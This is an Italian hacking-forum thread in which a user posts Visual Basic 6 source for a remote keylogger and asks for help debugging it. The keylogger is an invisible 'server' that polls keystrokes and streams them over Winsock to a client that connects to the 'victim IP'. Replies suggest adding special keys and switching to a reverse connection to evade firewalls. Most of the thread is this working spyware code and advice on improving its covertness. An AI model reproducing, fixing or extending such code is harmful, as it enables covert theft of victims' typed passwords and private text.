Thread obsoleto Keylogger Remoto Vb6

[Belthazorino]

Salve ragazzi. Oggi stavo creando un keylogger remoto in visual basic 6.0 (NON L'HO COPIATO DA INTERNET, TUTTA ROBA MIA)

Allora nel client ho messo una textbox dove inserire l'ip vittima, e un pulsante connetti. e una seconda text (text2.text) dove c'è il testo che la vittima digita dopo che ha aperto il server. Il codice che ho messo nel client è questo:

Private Sub Command1_Click()d
Winsock1.Connect Text1.Text, "9340"
End sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData (Text2.Text)
End Sub

e basta. Poi al server ho messo tutto questo codice qui:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Const KEYEVENTF_EXTENDEDKEY = &H1
Const KEYEVENTF_KEYUP = &H2

Private Sub Form_Load()
Winsock1.Listen
End Sub

Private Sub Text1_Change()
Winsock1.SendData (Text1.Text)
End Sub

Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyA) Then
Text1.Text = "a"
End If
If GetAsyncKeyState(vbKeyB) Then
Text1.Text = "b"
End If
If GetAsyncKeyState(vbKeyC) Then
Text1.Text = "c"
End If
If GetAsyncKeyState(vbKeyD) Then
Text1.Text = "d"
End If
If GetAsyncKeyState(vbKeyE) Then
Text1.Text = "e"
End If
If GetAsyncKeyState(vbKeyF) Then
Text1.Text = "f"
End If
If GetAsyncKeyState(vbKeyG) Then
Text1.Text = "g"
End If
If GetAsyncKeyState(vbKeyH) Then
Text1.Text = "h"
End If
If GetAsyncKeyState(vbKeyI) Then
Text1.Text = "i"
End If
If GetAsyncKeyState(vbKeyL) Then
Text1.Text = "l"
End If
If GetAsyncKeyState(vbKeyM) Then
Text1.Text = "m"
End If
If GetAsyncKeyState(vbKeyN) Then
Text1.Text = "n"
End If
If GetAsyncKeyState(vbKeyO) Then
Text1.Text = "o"
End If
If GetAsyncKeyState(vbKeyP) Then
Text1.Text = "p"
End If
If GetAsyncKeyState(vbKeyQ) Then
Text1.Text = "q"
End If
If GetAsyncKeyState(vbKeyR) Then
Text1.Text = "r"
End If
If GetAsyncKeyState(vbKeyS) Then
Text1.Text = "s"
End If
If GetAsyncKeyState(vbKeyT) Then
Text1.Text = "t"
End If
If GetAsyncKeyState(vbKeyU) Then
Text1.Text = "u"
End If
If GetAsyncKeyState(vbKeyV) Then
Text1.Text = "v"
End If
If GetAsyncKeyState(vbKeyZ) Then
Text1.Text = "z"
End If
If GetAsyncKeyState(vbKey1) Then
Text1.Text = "1"
End If
If GetAsyncKeyState(vbKey2) Then
Text1.Text = "2"
End If
If GetAsyncKeyState(vbKey3) Then
Text1.Text = "3"
End If
If GetAsyncKeyState(vbKey4) Then
Text1.Text = "4"
End If
If GetAsyncKeyState(vbKey5) Then
Text1.Text = "5"
End If
If GetAsyncKeyState(vbKey6) Then
Text1.Text = "6"
End If
If GetAsyncKeyState(vbKey7) Then
Text1.Text = "7"
End If
If GetAsyncKeyState(vbKey8) Then
Text1.Text = "8"
End If
If GetAsyncKeyState(vbKey9) Then
Text1.Text = "9"
End If
If GetAsyncKeyState(vbKey0) Then
Text1.Text = "10"
End If
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> 0 Then Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub

Nel server ho messo a 1 l'intervallo del timer. Al winsock su remoteport = 10 e localport = 9340


Ecco qui. Il roblema è che appena apro il server metto l'ip e clicco su connetti, mi si connette. Però appena premo un tasto (esempio sul blocco note) mi appare il messaggio : " Wrong Portocol Or Connection State eccc...."

Ora, come posso risolvere questo problema?

Grazie in anticipo.
--------------- AGGIUNTA AL POST ---------------
Ovviamente nel server ho messo una text1.text cosi viene registrato tutto che DOVREBBE essere inviato al client. Il server compreso textbox e e form è tutto invisibile.

 

[-Jan-]

Segui la guida di FireFox e leggi bene il passo 11.

Oggi stavo creando un keylogger remoto in visual basic 6.0 (NON L'HO COPIATO DA INTERNET, TUTTA ROBA MIA)

Immagino...

 

[System32]

Aiutati con la guida di FireFox. Protesti aver sbagliato a mettere qualche parentesi, o dimenticato qualcosa per quanto riguarda lo stato della connessione.

Ps : Aggiungi nel Keylogger anche i "tasti speciali", così almeno è completo.

 

[Belthazorino]

ringrazio -jan- per il suo sarcasmo. Non sei divertente. Io programmo e basta. e cerco di essere soddisfatto con quello che creo quindi lamer ci sarai. ok?.
--------------- AGGIUNTA AL POST ---------------
Ringrazio invece system32 però non ci sono ancora riuscito...

 

[Belthazorino]

-Jan- sei talmente invidioso da dire che l'ho copiata? Bene, dimmi da dove (non lo troverai anche perchè l'ho fatto tutto da solo). E comunque se non sai come aiutarmi, saresti pregato di startene zitto invece di dire cose inutili. Ciao ciao.

 

[System32]

A mio parere l'errore è in queste stringhe, da qualche parte, e precisamente nella parte evidenziata in grassetto e sottolineata :

Perfavore, Entra oppure Registrati per vedere i codici!

Prova a controllare meglio...Perchè dubito che in Visual Basic si possano lasciare spazi tra una stringa di codice.

 

[Belthazorino]

Riferimento: Keylogger Remoto Vb6

CI sono riuscito alla fine XD

 

[System32]

Riferimento: Keylogger Remoto Vb6

Bene, allora segnalo.

Posta anche come hai risolto, così chi leggerà questa discussione avrà la soluzione.

 

[devil401]

Riferimento: Keylogger Remoto Vb6

prima che chiudessero ti consiglio vivamente di non usare i winsock ma di fare una reverse connection,xk i firewall ti impediranno di aprire una connessione con il server essendo filtrato...

 

[Belthazorino]

Riferimento: Keylogger Remoto Vb6

Mi dispiace ma non sono molto pratico con la reverse. XD